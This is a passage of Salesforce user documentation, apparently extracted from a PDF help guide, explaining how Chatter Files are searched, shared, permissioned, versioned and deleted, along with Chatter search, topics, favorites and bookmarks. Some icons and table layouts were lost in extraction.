Only the files you're following in Chatter.

FILES IN MY GROUPS

Files anyone has attached to groups you're a member of.

FILES IN MY LIBRARIES

Files anyone has uploaded to libraries you're a member of, as


well as all files you uploaded to your personal library.

See Also:
Using the Files Tab
Searching for Files

Searching for Files


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Clicking Files displays Chatter and Salesforce CRM Content files you own and have access to, including files posted to feeds.
The 25 most recently viewed files are listed by default. You can see and search a certain group of files by clicking a specific
filter on the sidebar. The search results are filtered based on the terms entered.

All FilesAll files you own and have access to from Chatter and Salesforce CRM Content, including:
Files that have been shared with you

2426

Files

Searching for Files

Files you're following


Files in your Chatter groups
Files in your Salesforce CRM Content libraries
Files attached by other people to a Chatter feed. This includes files attached to all public groups, whether you're a
member or not, and private groups you're a member of, but not private groups you're not a member of.

Recently ViewedThe most recent files you've viewed.


MY FILESAll files you own, files shared with you, and files you follow.
Files I OwnFiles you have:
-

Uploaded on the Home or Files page. These are private and not shared with anyone, but you can view them, perform
actions, share them, and attach them to Chatter feeds.
Attached to Chatter feeds from your computer.
Uploaded to Salesforce CRM Content libraries you're a member of and your personal library.

Files Shared with MeAll files that have been shared with you either by a private share or a public post to your profile.
Files I FollowAll files that you're following.

FILES IN MY GROUPSAll files you and other people shared to groups you're a member of. The last five groups
youve visited are listed.
FILES IN MY LIBRARIESAll files you and other people uploaded to libraries you're a member of and all files you
uploaded to your personal library. The first five libraries you're a member of, including your personal library, are listed. If
you're a member of more than five libraries, click More to see a complete list.

To search for files using the Files search:


1. Optionally, click a filter on the sidebar to restrict your search to a specific set of files.
2. Enter your search terms in the box on the Files page. You can search by file name, description, owner, type, or within the
file's text.
3. Click Search to see a filtered list of all relevant files based on your search terms. Or click

to clear your search terms.

You can also search for feeds, files, groups, and people by entering search terms in the search box on the top of the page.
The Files list doesn't include:

Documents from the Documents tab.


Attachments from the Notes and Attachments related list.

Search supports several file types and has limits on file sizes. If a file exceeds the maximum size, the text within the file isn't
searched, but the file's name, description, type, and owner are.
File Type

File Extensions

Maximum File Size for Text Within the


File to be Searchable

HTML

.htm, .html, .xhtml

5 MB

PDF

.pdf

25 MB

PPT

.ppt, .pptx, .pptm

25 MB

RTF

.rtf

5 MB

2427

Files

Viewing the File Detail Page

File Type

File Extensions

Maximum File Size for Text Within the


File to be Searchable

Text

.c, .cpp, .css, .csv, .ini, .java,


.log, .sql, .txt

5 MB

Word

.doc, .docx, .docm

25 MB

XML

.xml

5 MB

XLS

.xls, .xlsx, .xlsm

5 MB

See Also:
Overview of Uploading and Sharing Files
Viewing the File Detail Page

Viewing the File Detail Page


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Open a file detail page by clicking a file name on a Chatter feed, on a files list, on a file hover, or by clicking More Actions >
Preview next to the file in a feed. On the file detail page, you can see details about Chatter files and Salesforce CRM Content
files.
From a file detail page, you can:

View the file without downloading it. If the file has multiple pages, click on the enhanced document player or use the
arrow keys on your keyboard to see each page, zoom in or out, or change the preview width and screen size. Files owners
and anyone with access to the file can preview it.
Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than
25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear
as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

See if the file is private ( ), privately shared (

Click

Click
File Sharing Settings to share a file with people, groups, or via file link, or see the Sharing Settings. Anyone
who can see a file can share it.
Click Make private on the Sharing Settings dialog box to remove the file and file link, if applicable, from everywhere it's
been shared. Or click Restrict access if the file originated in a Salesforce CRM Content library to remove the file from
everywhere it's been shared except the library. Only owners and users with the Modify all Data permission can make a
file private ( ) or restrict access.

), or shared with your company (

).

Download to open or save the file. Anyone who can see a file can download it.

Click Upload New Version to update the file with a newer version. Only file owners, collaborators, and users with the
Modify all Data permission can upload a new version of a file.

2428

Files

Editing File Details

Click Edit Details to edit the name or description of the file. Only file owners, collaborators, and users with the Modify
All Data permission can edit file details.

Click Delete to delete the file. Only file owners and users with the Modify All Data permission can delete files.
See who the file is owned by and when it was last modified.

See the file's description and click the edit icon ( ) to edit the description, or add a description by clicking Add Description.
See the file's current version number and click Show all versions to see the file's version history.
Click Follow to follow the file or click to stop following the file.
See who's following the file.
See who and what locations the file is shared with.
If the file originated in Salesforce CRM Content, click Go to Content Detail Page to see the content detail page of that
file. Most actions performed on files that originated in Salesforce CRM Content must be done on the file's content detail
page instead of the file detail page.
Click the Files or Chatter links at the top of the page to go to the Files list or the Chatter page.
See other files that people who viewed this file also viewed. If no other files have been viewed by the same people, the
People Also Viewed section doesn't appear on the file detail page.

See Also:
Files Overview
Editing File Details
Sharing Files with People
Sharing Files with Groups
Sharing Files via Link
Overview of Uploading and Sharing Files

Editing File Details


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To edit a file's name and description:


1. On a file detail page, click Edit Details or click the edit icon ( ) next to the description.
2. Optionally, edit the file name and description.
3. Click Save.
If there is no description and you want to add one, click Add Description or click the edit icon ( ) next to the description.
File owners, collaborators, and users with the Modify All Data permission can edit file details.

See Also:
Files Overview
Viewing the File Detail Page

2429

Files

Sharing Files with People

Sharing Files with People


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Share a file privately so only specific Chatter users in your company can see it. Anyone who can see a file can share it.
To share a file with one or more Chatter users in your company:
1. Start by sharing the file from one of these locations:

On the detail page of the file you want to shareClick either


File Sharing Settings > With people. Or click Show
All on the Shared With list then click People on the Sharing Settings dialog box.
Next to the file in a feedClick More Actions > File Sharing Settings then click People on the Sharing Settings
dialog box.

Next to the file on the Files page, the Files Owned by list, or the Group Files listClick

On a file hoverClick

Share with people.

Share File then click People on the Sharing Settings dialog box.

2. Type the name of the person you want to share the file with and click the name to select it. They are given collaborator
permission by default which lets them view, download, share, change permission, edit the file, and upload new versions.
3. Optionally, select Viewer to give the person permission to view, download, and share files.
4. Optionally, share with more than one person by entering another name.
5. Optionally, add information to the message that recipients receive.
6. Click Share and Close. Recipients automatically receive a Chatter message on their My Messages page on the Chatter
tab. The message lets the recipient know you shared a file with them and any additional information you provided. If
they're already receiving Chatter email notifications, they'll also automatically be notified of new messages.
Unless the file was already shared with your company, it's privately shared and displays the privately shared icon ( ). It's not
posted anywhere and only the people you specifically shared it with can find and view it. If it was already shared with your
company, it retains the your company icon (
On the Sharing Settings dialog box, click

) and all Chatter users in your company can find and view it.
next to a person's or group's name to stop sharing the file with them.

Note:

Files in your Salesforce CRM Content personal library must first be published before they can be shared.
Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in
Chatter.
Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed
on the Files tab and can't be shared in Chatter.
Salesforce CRM Content files in Chatter may be shared with more people than shown on the Sharing dialog box
if they are part of a content pack or delivery.

2430

Files

Sharing Files with Groups

The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via
links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it
to your feed.

See Also:
Sharing Files with Groups
Sharing Files via Link
Viewing Where a File is Shared
Making a File Private
File Sharing Settings and Permissions
Changing File Permissions
Chatter Messages Overview

Sharing Files with Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Share a file with a private group so only members of that group can see it or share a file with a public group so members of
that group and all Chatter users in your company can see it. Anyone who can see a file can share it.
To share a file with one or more Chatter groups:
1. Share the file from one of these locations:

On the detail page of the file you want to shareClick


File Sharing Settings > With group. Or click Show All
on the Shared With list then click Groups on the Sharing Settings dialog box.
Next to the file in a feedClick More Actions > File Sharing Settings then click Groups on the Sharing Settings
dialog box..

Next to the file on the Files page, the Files Owned by list, or the Group Files listClick

On a file hoverClick

Share with groups.

Share File then click Groups on the Sharing Settings dialog box.

2. Type the name of the group you want to share the file with and click the name to select it. Group members are given viewer
permission by default which lets them view, download, and share files.
3. Optionally, select Collaborator to give group members permission to view, download, share, change permission, edit the
file, and upload new versions.
4. Optionally, share with more than one group by entering another name.
5. Optionally, add a message that will be posted with the file. If you don't add a message, a generic message is used.
6. Click Share and Close. The file is posted to each group you shared it with.
A private file shared with a private group becomes a privately shared file and displays the privately shared icon ( ). The file
is posted to the group's feed and only the file owner and group members can find and view the file. Any file shared with a
public group is viewable by all users in your company, displays the your company icon (
On the Sharing Settings dialog box, click

), and is posted to the group's feed.

next to a person's or group's name to stop sharing the file with them.

2431

Files

Sharing Files via Link

Note:

Files in your Salesforce CRM Content personal library must first be published before they can be shared.
Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in
Chatter.
Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed
on the Files tab and can't be shared in Chatter.
Salesforce CRM Content files in Chatter may be shared with more people than shown on the Sharing dialog box
if they are part of a content pack or delivery.
The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via
links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it
to your feed.

See Also:
Sharing Files with People
Sharing Files via Link
Viewing Where a File is Shared
Making a File Private
File Sharing Settings and Permissions
Changing File Permissions

Sharing Files via Link


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Share a file with anyone by creating a file link and sending it via email or IM. Creating a link generates an encrypted URL
that you can send to any recipient, such as leads, customers, partners, and coworkers, inside or outside of your company. When
your recipients click the link, they see a web-based version of the file that they can easily view and download. Sharing via link
is on by default for most organizations that have Chatter. Administrators can enable sharing via link by enabling these
permissions:
1. Click Your Name > Setup > Customize > Content Deliveries > Settings. Select Enable content deliveries and
Enable Chatter file links.
2. Click Your Name > Setup > Manage Users > Permission Sets. Select a permission set, click System Permissions, and
select Create and Share Links to Chatter Files.
3. Click Your Name > Setup > Manage Users > Profiles. Select a profile, click Edit. In General User Permissions, select
Create and Share Links to Chatter Files. You don't need this permission for files in a shared Salesforce CRM
Content library. Instead, complete steps 1 and 2 and then ensure the user is a library member and that Deliver Content
is checked in the library permission definition.
Create and share a file link:
1. Start by sharing the file from one of these locations:

2432

Files

Viewing Where a File is Shared

On the Files pageClick Upload a file, click Browse and select a file from your computer, then click Share via link
> Upload.
On the Home pageClick Create New > File, click Browse and select a file from your computer, then click Share
via link > Upload.

On a file detail pageClick


File Sharing Settings > Via link.
On the Sharing Settings dialog boxClick Anyone with link from the Share with list.

Next to the file on the Files page, the Files Owned by list, or the Group Files listClick
> Share via link.
Next to the file in a feed or on a file hoverClick More Actions > File Sharing Settings, then click Anyone with link
from the Share with list.

2. Click Copy if available (or copy the link manually), and paste the link into an email or IM. File link recipients can only
view and download files. They can't be collaborators.
Unless the file was already shared with your company, it's privately shared and displays the privately shared icon ( ). It's not
posted anywhere and only the people you specifically shared it with can find and view it. If it was already shared with your
company, it retains the your company icon (
On the Sharing Settings dialog box, click
access the file.

) and all Chatter users in your company can find and view it.
next to a link to stop sharing it. Anyone with the link will no longer be able to

Note:

Files in your Salesforce CRM Content personal library must first be published before they can be shared.
Web links and Google Docs from Salesforce CRM Content are listed on the Files tab, but can't be shared in
Chatter.
Documents from the Documents tab and attachments from the Notes and Attachments related list aren't listed
on the Files tab and can't be shared in Chatter.
The maximum number of times a file can be shared is 100. This includes files shared with people, groups, and via
links. If a file is privately shared and nears the 100 share maximum, consider making the file public by posting it
to your feed.

See Also:
Sharing Files with People
Sharing Files with Groups
Viewing Where a File is Shared
Making a File Private
File Sharing Settings and Permissions

Viewing Where a File is Shared


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Shared With list on a file detail page shows you the file owner and who the file is shared with.
Click Show All to view the full list. From the Sharing Settings dialog box you can:

2433

Files

Making a File Private

See who the file is shared with and their permission: owner, collaborator, viewer, or no access.
Click People on the Sharing Settings dialog box to share the file with specific people.
Click Groups on the Sharing Settings dialog box to share the file with specific groups.
Click Anyone with link on the Sharing Settings dialog box to create and share a file link.
Click Make private to remove the file and file link, if applicable, from everywhere it's been shared. Or click Restrict access
if the file originated in a Salesforce CRM Content library to remove the file from everywhere it's been shared except the
library. Only owners and users with the Modify all Data permission can make a file private ( ) or restrict access.

On the Sharing Settings dialog box, click next to a person's or group's name to stop sharing the file with them.
Click Next and Previous to see more of the list, or click Done to close the window.

See Also:
Sharing Files with People
Sharing Files with Groups
Sharing Files via Link
Making a File Private
File Sharing Settings and Permissions
Changing File Permissions

Making a File Private


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

File owners and users with the Modify All Data permission can make a file and file link, if applicable, private ( ) if they
decide they don't want it to be shared anymore. Making a file private removes it from any posts it's attached to and removes
it from everywhere it's been shared. Only the owner and users with the Modify All Data permission will have access to it.
Alternately, file owners and users with the Modify All Data permission can restrict access to a file that originated in a
Salesforce CRM Content library to remove the file from everywhere it's been shared, except the library.
1. From the file detail page of the file you want to make private or restrict access, click either
Share File > Sharing Settings
or Show All on the Shared With list.
2. On the Sharing Settings dialog box, click Make private (or Restrict access if the file originated in a Salesforce CRM
Content library).
3. On the confirmation dialog box, click Make private (or Restrict access).

See Also:
Files Overview
Sharing Files with People
Sharing Files with Groups
Sharing Files via Link
Viewing Where a File is Shared
File Sharing Settings and Permissions

2434

Files

Uploading a New Version of a File

Uploading a New Version of a File


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Upload a new version of a file that was previously uploaded to My Files or attached to a Chatter feed. After you upload the
new version, it is available on the Files list and in Chatter. For example, upload a new version of a file if the contents of the
previous version have changed. When you upload a new version of a file, a notification is posted to your Chatter feed. Anyone
following the previous version also gets a notification in their Chatter feed. If the file is private, only the file owner sees the
notification. The notification of the new version includes a file preview, the ability to download, and the file description if
provided. Uploading a new version replaces all previous versions in Chatter, but previous versions are still available by clicking
Show all versions on the file detail page.
To upload a new version:
1. Upload a new version from any of these locations:

On the file detail pageClick Upload New Version.


Next to the file in a feedClick More Actions > Upload New Version.
Next to the file on the Files page, the Files Shared with list on a group, or the Files Owned by list on a profileClick
>

Upload New Version.

On a file hoverClick

Upload New Version.

2. Click Browse, and select a file from your computer.


3. Optionally, add information about the changes you made to the file in the What Changed dialog box. The information
is shown on the Version History list.
4. Click Upload New Version.
The file detail page and any previous posts show the updated version.
Note:

Only file owners, collaborators, and users with the Modify all Data permission can upload new versions. To learn
who can perform which actions on a file, see File Sharing Settings and Permissions on page 2437.
The file owner doesn't change when a collaborator uploads a new version.
If the file is from Salesforce CRM Content, you can't upload a new version from the file detail page. You can click
Go to Content Detail Page and upload a new version there.

See Also:
Files Overview
Viewing File Version History
Overview of Uploading and Sharing Files

2435

Files

Viewing File Version History

Viewing File Version History


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The file detail page shows the current version number of the file. Click Show all versions to see the Version History list. The
list shows you all the versions of the file uploaded in Chatter, including the current version. From the list you can preview or
download the file, see who updated it and when, and see the description if provided. The file detail page always shows the
most current version of a file.

See Also:
Files Overview
Uploading a New Version of a File

Following Files
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Follow files so you can see updates in your Chatter feed on the Home page and Chatter page, including when a new file version
is uploaded. If you stop following a file, the file remains in your Files list, you just won't see updates in your feed anymore.
Click

Follow to start seeing updates, or click

to stop seeing updates:

On the file's detail page


Next to the file in a feed
Next to the file on the Files page
Next to the file on the Files Shared with list on a group
Next to the file on the Files Owned by list on a profile
On the file hover
Note:

You automatically follow files you upload in Chatter, attach to a Chatter feed, or upload to a Salesforce CRM
Content library.
If you follow a file in Chatter that you have previously subscribed to in Salesforce CRM Content, you can unsubscribe
from the file in Salesforce CRM Content because you'll now be receiving updates about it in your Chatter feed.

See Also:
Files Overview
Viewing the File Detail Page

2436

Files

Deleting a File from the File Detail Page

Deleting a File from the File Detail Page


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Click Delete on a file's detail page to delete the file and remove it from all locations where it's been shared. If the file is shared
via link, anyone with the link will no longer have access to the file. To restore the deleted file, click on the Recycle Bin link
on the Home page. Select the file and click Undelete. The file is restored as well as all of the shares that were associated with
it.
Note: Only file owners and users with the Modify All Data permission can delete files. To learn who can perform
which actions on a file, see File Sharing Settings and Permissions on page 2437.
For more information about deleting files from other places in Chatter, see Removing and Deleting Files and Links from a
Chatter Feed on page 2420.

See Also:
Files Overview
Overview of Uploading and Sharing Files
Viewing the File Detail Page

File Sharing Settings and Permissions


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

This table describes file sharing settings which are determined by how the file is shared. The sharing setting and icon appear
on a file's detail page and on the Shared With list on a file detail page.
Sharing Setting
Private

Privately Shared

Definition

When Does a File Have This Setting?

The file is private. It hasn't been shared


with anyone else besides the owner. Only
the file owner and users with Modify All
Data permission can find and view this
file, unless it is in a personal library, then
only the file owner has access to it.

A file is private when you:


Upload it on the Home or Files page
Publish it to your personal library
Stop sharing it with everyone (Make
Private)
Delete posts that include the file and
the file isn't shared anywhere else

The file has only been shared with specific A file is privately shared when it's:
people, groups, or via link. It's not available Only shared with specific people or a
to all Chatter users in your company. Only
private group
the file owner, users with Modify All
Posted to a private group
Data or View all Data permission, and

2437

Files

File Sharing Settings and Permissions

Sharing Setting

Definition

When Does a File Have This Setting?

specific file viewers can find and view this


file.

Shared via link


Posted to a feed on a record
Published to a shared library

All Chatter users in your company can find A file is shared with your company when
and view this file.
it's posted to a feed on the Home page,
Chatter page, a profile, a record, or a public
group.

Your Company

This table describes the actions that can be performed by users based on their permission:
Action

File Owner

File Collaborator

File Viewer

View/Preview

Yes

Yes

Yes

Download

Yes

Yes

Yes

Share

Yes

Yes

Yes

Attach a file to a post

Yes

Yes

Yes

Upload New Version

Yes

Yes

Edit Details

Yes

Yes

Change Permission

Yes

Yes

Make a File Private

Yes

Restrict Access

Yes

Delete

Yes

Note:

No access means that no one in your company can find or view the file unless the file is specifically shared with
them or a private group theyre a member of.
Users with Modify All Data permission can view, preview, download, share, attach, make private, restrict access,
edit, upload new versions, and delete files they don't own. However, if the file is in a personal library, then only
the file owner has access to it.
Users with View All Data permission can view and preview files they don't own. However, if the file is in a
personal library, then only the file owner has access to it.
Groups (including group members) and records have viewer permission for files posted to their feeds.

2438

Files

Changing File Permissions

Permissions for files shared with libraries are determined by the library.

See Also:
Files Overview
Viewing Where a File is Shared
Sharing Files with People
Sharing Files with Groups
Changing File Permissions

Changing File Permissions


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

File owners and collaborators can change file permissions for people and groups from viewer to collaborator and vice versa.
They can also change file permissions for files shared with their company to viewer, collaborator, or no access.

Viewers can view, download, and share files.


Collaborators can view, download, share, change permission, edit the file, and upload new versions.
No access means that no one in your company can find or view the file unless the file is specifically shared with them or a
private group theyre a member of.

To change a file permission:


1. On a file detail page, click Share File > Sharing Settings.
2. Find the person or group whose permission you want to change. Or change permission for Any Chatter user in
your company.
3. Click the Permission drop-down and select Viewer, Collaborator, or No Access (for your company). The change happens
immediately.
4. Click Close.
Note:

A file is shared with your company when it's posted to a feed on the Home page, Chatter page, a profile, a record,
or a public group. Any Chatter user in your company is given viewer permission by default. If you change
the permission from viewer or collaborator to no access, you remove the share to company and to public groups.
When you share a file with someone, they are given collaborator permission by default. When you share a file with
a group, the group members are given viewer permission by default. You can change the default permissions when
you share a file for the first time. File owners and collaborators can change permissions after a file has been shared.

2439

Files

File Size Limits in Salesforce

File link recipients can only view and download files. They can't be collaborators.

See Also:
Files Overview
Sharing Files with People
Sharing Files with Groups
Viewing Where a File is Shared
File Sharing Settings and Permissions

File Size Limits in Salesforce


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The following are maximum file size limits for files in Salesforce.
Feature

Files Tab and


Chatter

Salesforce CRM
Content

Maximum File
Size

2 GB

Salesforce
Knowledge

2 GB

10 MB for
Google Docs

38 MB when
uploaded via the
API
10 MB when
uploaded via
Visualforce

10 KB for
articles
5 MB for
attachments

Documents Tab

Attachments
Related List

5 MB

20 KB for a
custom-app logo

5 MB for file
attachments
2 GB for feed
attachments
10 MB for files
attached to
email

See Also:
Files Overview
Overview of Uploading and Sharing Files
Salesforce CRM Content Overview
Salesforce Knowledge Overview
Documents Home
Adding Attachments

2440

Files

Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments

Differences between Files, Salesforce CRM Content,


Salesforce Knowledge, Documents, and Attachments
Files Tab

Salesforce CRM
Content

Salesforce
Knowledge

Documents Tab

Attachments

Purpose

Upload, store, find,


follow, share, and
collaborate on
Salesforce files in
the cloud.

Publish and share


official corporate
files with coworkers
and deliver them to
customers.

Create and manage


content, known as
articles, in a
knowledge base.
Internal users and
customers (on your
Customer Portal,
partner portal,
Service Cloud
Portal, or
Force.com Sites)
can quickly find and
view articles they
need.

Store Web
resources, such as,
logos, DOT files,
and other
Visualforce
materials in folders
without attaching
them to records.

Attach files to
records from the
Attachments related
list on selected
detail pages.

Common Uses

Upload a file in
Chatter and store it
there privately until
you're ready to share
it. Share the file
with coworkers and
groups to
collaborate and get
feedback. Attach
files to posts in a
Chatter feed on the
Home tab, Chatter
tab, a profile, a
record, or a group.

Create, clone, or
modify a sales
presentation and
save it so only you
can see it and work
on it. When you're
ready, publish it so
other users in your
company have
access to it. Create
a content pack and
send it to
customers.

Write, edit, publish,


and archive articles
using the Articles
Management tab or
find and view
published articles
using the Articles
tab. Customers and
partners can access
articles if Salesforce
Knowledge is
enabled in your
Customer Portal,
partner portal,
Service Cloud
Portal, or
Force.com Sites.
Create a public
knowledge base so
website visitors can
view articles.

Add a custom logo


to meeting requests
by uploading your
logo to the
Documents tab.

Add a file to a
specific record, like
an event, marketing
campaign, contact,
or case by attaching
it on the
Attachments related
list.

Supported File
Types

All

All

All

All

All

Maximum File
Sizes

2 GB

2 GB
10 MB for
Google Docs

10 KB for
articles
5 MB for
attachments

5 MB

20 KB for a
custom-app logo

5 MB for file
attachments
2 GB for feed
attachments

2441

Search

Searching in Chatter

Files Tab

Salesforce CRM
Content

Salesforce
Knowledge

38 MB when
uploaded via the
API
10 MB when
uploaded via
Visualforce

Documents Tab

Attachments

10 MB for files
attached to
email

See Also:
Files Overview
Salesforce CRM Content Overview
Salesforce Knowledge Overview
Documents Home
Adding Attachments

SEARCH
Searching in Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo on Smart Search (2:12 minutes)


To find Chatter feeds, people, groups, and files:
1. Enter your search terms in the header search box.
2. Click Search.
3. From the search results, click an item to open it or click Edit, if available.
Click Search Chatter Updates at the top of the page to view Chatter feed search results that include your search terms.
Click Records to return to Chatter people, groups, and files search results.

Searching for Topics and Mentions

Search for topics by entering # followed by the topic (such as #SalesReport) in the header search box. In the search
results, click Search Chatter Updates to see all posts and comments that refer to that topic.

2442

Search

Chatter Feed Search Results

Search for mentions by entering @ followed by a person's name (such as @Madison Rigsby) in the header search box.
In the search results, click Search Chatter Updates to see where Madison Rigsby is mentioned in Chatter posts and
comments.

See Also:
Search Overview

Chatter Feed Search Results


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo on Smart Search (2:12 minutes)


The Chatter Updates search results display peoples' posts and comments that include your search terms.
Chatter feed searches aren't limited to your selected search options; Chatter feed search results include matches across all
objects.
Note: Changes to record fields aren't included in search results. For example, if you've enabled feed tracking on the
Billing Address field for the Acme account and modified the Acme billing address, search results for Acme include
Acme Suzanne Powell Looking for volunteers to help with the Acme account but don't include Acme Suzanne Powell
changed Billing Street to 10 Main Road.

Sort your search results by posts only or by posts and comments, just as in other feeds.
Comment on, like, share, bookmark, and delete posts in the search results, just as in other feeds.
To view the detail pages for Chatter files, groups, and people, click the respective name in the update.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM.
Perform actions (follow, share, download, preview, upload new version, and view file detail page) on files in the search
results, just as in other feeds.
Click Add to Chatter Favorites to save a topic or Chatter feed search to your favorites on the Chatter tab.

To view search results for records, such as accounts, contacts, and Chatter people, groups, and files, click Records at the top
left of the page.

See Also:
Search Overview
Using Chatter Feeds

2443

Topics

Adding Topics to Posts and Comments

TOPICS
Adding Topics to Posts and Comments
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Watch a Demo (1:10 minutes)


When you post or comment in Chatter, you can associate your post or comment with all other posts and comments on the
same subject by adding a topic. A topic is a way to tag and categorize your post or comment so other people can find it more
easily. Topics are similar to hashtags used in other social networking sites. Create a topic by typing a hash sign and a word,
for example, #leads or #UniversalPaper.
For example, if you post an update that you're working on a sales presentation for your customer Universal Paper, you might
want to add the topic #UniversalPaper in your update. If your coworkers use the same topic in their updates, anyone can click
the topic to view all related comments and posts. Topics become more valuable as more people use them.
To add a topic:
1. When posting an update, enter # followed by any word. As you type, you can pick a topic from the list of your recently
used topics and the most popular topics used in your company. Or keep typing to add a different topic.
Spaces, tabs, new lines, and most punctuation and symbols automatically end a topic. Topics aren't case-sensitive, so
#UniversalPaper is the same as #universalpaper.
2. Post your update.
The word you entered after # becomes a link that others can click on to view all posts and comments that use the same
topic. The topics you use most often appear in your profile.
Search for topics by entering # followed by the topic (such as #SalesReport) in the header search box. In the search results,
click Search Chatter Updates to see all posts and comments that refer to that topic.
Once you post an update, the only way to delete a topic is to delete the entire post or comment. Chatter administrators can't
restrict the topics people use in their updates.
The more frequently people include a specific topic in their posts and comments over a short period of time, the more likely
it is to become a trending topic. For example, if your coworkers are attending the upcoming Dreamforce conference and have
started discussing it in Chatter, you may see a trending topic for #Dreamforce. Trending topics appear on the right side of
the Chatter tab.

2444

Topics

Viewing the Topics People Use Most

Unsupported Characters
When creating a topic, type the hash sign followed by a letter or number and then type additional letters, numbers, or characters.
Some characters, such as punctuation, symbols, and separators, can't be included in a topic. For example, if you enter
#Sales.Report in your update, only #Sales becomes a topic.

See Also:
Posting an Update
Mentioning People in Posts and Comments
Viewing the Topics People Use Most
Viewing Your Company's Trending Topics

Viewing the Topics People Use Most


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If you add topics to your updates, the topics you use most often appear in your Chatter profile in the Topics I Use Most
section. This section helps people learn which topics you're knowledgeable about or interested in.
When you click a topic in the Topics I Use Most section, you see just the updates that person has posted that include the
topic. You can then expand your search to see all the Chatter updates with that topic by either clicking the highlighted topic
in the profile feed or clicking Search Everywhere.

See Also:
Profile Overview

Viewing Your Company's Trending Topics


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Trending Topics area on the Chatter tab shows the topics that your coworkers are discussing right now in Chatter. The
more frequently people include a specific topic in their posts and comments over a short period of time, the more likely it is
to become a trending topic. For example, if your coworkers are attending the upcoming Dreamforce conference and have
started discussing it in Chatter, you may see a trending topic for #Dreamforce.
When determining which topics are trending, Chatter doesn't look at record and private group feeds. Only topics you include
when updating your status, posting to a person's profile, or posting to a public group can become a trending topic.

See Also:
Adding Topics to Posts and Comments

2445

Favorites

Chatter Favorites Overview

FAVORITES
Chatter Favorites Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter favorites on the Chatter tab give you easy access to list views, Chatter feed searches, and topics that you want to stay
on top of. For example, if you and your coworkers use the topic #acme to track information about your customer Acme, you
might want to add #acme as a favorite so you can easily access these updates without leaving the Chatter tab.
You can have up to 50 favorites. If you haven't added any favorites, the Favorites section doesn't appear on the Chatter tab.
Chatter displays the four favorites most recently added or viewed.

Click a favorite to see the updates.


Click X more to see all your favorites.
Click

, which appears on hover, to remove a favorite.

See Also:
Adding a Chatter Feed Search as a Favorite
Adding a Chatter Topic as a Favorite
Adding a List View as a Chatter Favorite

Adding a Chatter Feed Search as a Favorite


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Adding a Chatter feed search as a favorite lets you access feed updates quickly without leaving the Chatter tab.

2446

Favorites

Adding a Chatter Feed Search as a Favorite

1. Enter terms in the header search box and click Search.


2. Click Search Chatter Updates to see the posts and comments that include your search terms.
3. Click Add to Chatter Favorites.

The favorite name on the Chatter page is the same as the search terms you entered. For example, if you searched for
competitive analysis, your favorite is competitive analysis.
Tip: Save a search for a Chatter group name as a favorite to quickly access the group feed from the Chatter page.
Similarly, save a search for a person's name as a favorite to quickly see that person's posts, comments, and mentions.

See Also:
Chatter Favorites Overview

2447

Favorites

Adding a Chatter Topic as a Favorite

Adding a Chatter Topic as a Favorite


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Adding a topic as a favorite lets you follow the topics you're interested in right from the Chatter tab.
1. Click a topic, such as #acme.
2. On the Chatter Updates search results page, click Add to Chatter Favorites. The favorite name on the Chatter tab is the
same as the topic, #acme.

See Also:
Chatter Favorites Overview

Adding a List View as a Chatter Favorite


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Add a list view as a Chatter favorite to monitor key business processes directly from your Chatter tab.
1. Open an existing list view or create a list view for a set of records, like for example accounts, opportunities, or leads.
2. Click
Chatter in the top-right corner to see the Chatter updates for the list items.
3. Click Add to Chatter Favorites.
The favorite name on the Chatter tab is the same as the list view name.

See Also:
Chatter Favorites Overview

2448

Bookmarks

Bookmarks Overview

BOOKMARKS
Bookmarks Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Bookmarking lets you keep track of posts youre interested in.


Click
Bookmarks on the left sidebar to see your saved posts in your Chatter feed. When someone comments on a post
you bookmarked, you receive an email notification. Email notifications for bookmarks are enabled by default. To change your
email notifications, click Your Name > Setup > My Chatter Settings > Chatter Email Settings.
Bookmarks are private and other users cant see which posts you bookmark. There is no limit on the number of bookmarks
you can add. When you are no longer interested in a post you saved, you can remove the bookmark and the post no longer
appears in your saved posts when you click

Bookmarks.

See Also:
Bookmarking a Post
Removing a Bookmark

